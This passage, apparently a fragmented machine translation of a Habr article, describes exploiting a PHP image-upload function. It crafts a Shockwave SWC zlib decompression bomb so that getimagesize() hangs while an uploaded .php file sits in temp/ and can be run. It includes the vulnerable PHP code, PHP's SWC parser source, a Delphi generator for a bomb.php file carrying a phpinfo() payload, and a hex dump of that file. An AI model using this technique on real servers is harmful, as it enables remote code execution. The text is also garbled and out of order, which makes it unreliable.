getimagesize()
using a bearded zip-bomb (or a peta-bomb).%00
, and even a trivial MIME check bypass and loading *.php
directly (but this is quite a hard case, the engines sinning with this probably still have a couple of dozen other holes). function process_upload($upload) { $ext = explode('.', $upload['name']); $ext = strtolower($ext[count($ext)-1]); $filename = md5_file($upload['tmp_name']); move_uploaded_file($upload['tmp_name'], 'temp/'.$filename.'.'.$ext); $info = getimagesize('temp/'.$filename.'.'.$ext); $tmp_ext = str_replace('image/', '', $info['mime']); if ($ext != $tmp_ext) { rename('temp/'.$filename.'.'.$ext, 'temp/'.$filename.'.'.$tmp_ext); $ext = $tmp_ext; } if ($ext != 'jpg' && $ext != 'jpeg' && $ext != 'gif' && $ext != 'png') { unlink('temp/'.$filename.'.'.$ext); return false; } // , .
process_upload()
function at entry gets an entry from $_FILES
- that is, an array of this format: $upload = array( 'name' => '_.jpg', 'tmp_name' => '/var/tmp/php-upload.temp', )
md5sum $tmp_name
)example.com/temp
getimagesize()
and rename()
. The latter is of little interest to us - it really works quickly, or it does not work - but then PHP issues a warning and unlink()
is executed, which sweeps up traces.getimagesize()
worries us very much. Can we make her “wait” while we run our script in temp
?php-5.5.12\ext\standard\image.c
. After a few minutes of studying the code, I came across a very interesting function that works with the SWC format — Shockwave Flash Compressed (I’ve heard about this for the first time). Namely: // stream 4- , 'CWS'. static struct gfxinfo *php_handle_swc(php_stream * stream TSRMLS_DC) { struct gfxinfo *result = NULL; long bits; unsigned char a[64]; unsigned long len=64, szlength; int factor=1,maxfactor=16; int slength, status=0; char *b, *buf=NULL, *bufz=NULL; b = ecalloc (1, len + 1); if (php_stream_seek(stream, 5, SEEK_CUR)) return NULL; if (php_stream_read(stream, a, sizeof(a)) != sizeof(a)) return NULL; if (uncompress(b, &len, a, sizeof(a)) != Z_OK) { /* failed to decompress the file, will try reading the rest of the file */ if (php_stream_seek(stream, 8, SEEK_SET)) return NULL; slength = php_stream_copy_to_mem(stream, &bufz, PHP_STREAM_COPY_ALL, 0); /* * zlib::uncompress() wants to know the output data length * if none was given as a parameter * we try from input length * 2 up to input length * 2^8 * doubling it whenever it wasn't big enough * that should be eneugh for all real life cases */ do { szlength=slength*(1<<factor++); buf = (char *) erealloc(buf,szlength); status = uncompress(buf, &szlength, bufz, slength); } while ((status==Z_BUF_ERROR)&&(factor<maxfactor));
zip
we can get a 10 MB file from the source file with zero GB of 11 GB.php_handle_swc()
function code, we just need to create a file of the following form: 0000h: 43 57 53 00 00 00 00 00 78 DA CWS.....xÚ
php_handle_swc()
), and then the compressed Zlib stream is php_handle_swc()
. Here it begins with 78 DA
, which corresponds to the maximum degree of compression.try..catch
(if it was) will not be called and will not be able to handle the exception - by deleting our file, for example - and only if the script has installed its register_shutdown_handler()
handler, then it will be called and an exception will be tracked there . But usually they do not do this, since this is not a completely “logical” logic. Although in the spirit of the old PHP.getimagesize()
is also. However, most servers use Zlib.) program BombSWC; {$APPTYPE CONSOLE} uses ZLibEx, Classes; const Header = 'CWS'#0#0#0#0#0; var I: Integer; Input: String; Buf: Pointer; Stream: TFileStream; begin SetLength(Input, 800 * 1024 * 1024); // 800 ??. FillChar(Input[1], Length(Input), 0); ZCompress(@Input[1], Length(Input), Buf, I, zcMax); Stream := TFileStream.Create('bomb.php', fmCreate); Stream.WriteBuffer(Header[1], Length(Header)); Stream.WriteBuffer(Buf^, I); Stream.Seek(-1000, soFromEnd); Input := '<?php phpinfo();?>'; Stream.WriteBuffer(Input[1], Length(Input)); Stream.Free; end.
0:0000h: 43 57 53 00 00 00 00 00 78 DA EC C1 01 01 00 00 CWS.....xÚìÁ.... 0:0010h: 00 80 90 FE AF EE 08 0A 00 00 00 00 00 00 00 00 .€ ... ... C:6D00h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ C:6D10h: 00 00 00 00 3C 3F 70 68 70 20 70 68 70 69 6E 66 ....<?php phpinf C:6D20h: 6F 28 29 3B 3F 3E 00 00 00 00 00 00 00 00 00 00 o();?>.......... C:6D30h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ ... ... C:70E0h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ C:70F0h: 00 00 00 00 00 00 BF 00 EE 1E 00 01 ......¿.î...
Source: https://habr.com/ru/post/224351/
All Articles